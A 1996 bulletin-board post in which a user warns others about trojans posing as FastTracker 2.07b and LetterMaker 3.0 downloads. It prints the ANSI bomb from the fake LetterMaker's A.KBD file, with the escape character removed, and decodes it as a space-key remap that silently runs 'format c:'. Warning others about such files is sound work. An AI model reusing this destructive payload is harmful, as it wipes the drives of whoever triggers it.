Cybercity BBS (5)   by Cybercity BBS

29/07/96 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !! !! !! T R O J A N W A R N I N G !! !! !! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Hi folks! I think that's time to warn you all for some trojan's that are around these day's. I've had my share of it, and I don't want to find other people passing their time by reinstalling all of their software. The first trojan I had was last week, I downloaded the file called FT207B'R.ZIP. The diz told it contained FastTracker 2.07b. So I unzipped it and launched the EXE (can't remember the name). The only result of this was that my 2 HD's were completely trashed.... AND THE STORY CONTINUES... Today, i downloaded the file LETTMK30.ZIP. The diz told it contained LetterMaker 3.0 from X-LARGE, but when you run the file letter3.exe all what happens is a very primitive ANSi Bomb that is started. And since I have no ANSi.SYS loaded nothing happened. This is the file A.KBD that normaly (when ansi.sys is loaded) does the keyboard redefinition. The word <esc> is normaly replaced by the escape code, but for safety reasons I left it out. ----CUT---- HAVE A NICE HARD DRIVE RESTORATION !!!!<esc>[32;101;99;104;111;32;111 ;102;102;13;99;108;115;13;99;116;116;121;32;110;117;108;58;13;101;99; 104;111;32;121;32;124;32;102;111;114;109;97;116;32;99;58;13p ----CUT---- When we translate what happens here, we find this as result that the <space> (code 32) is replaced by: echo off cls ctty nul: echo y | format c: So from the moment the <space> was pressed previous commands were send. After searching through the whole ZIP I found that the file probably comes from Argentinia. So guyz... you see, it can happen to anyone, and it happens more than you think! 2 Trojans in 2 weeks... nice isn't it! Have phun, but B carefull! RaY RaZoR/ZNG --EOF------------------------------------------------------29/07/96--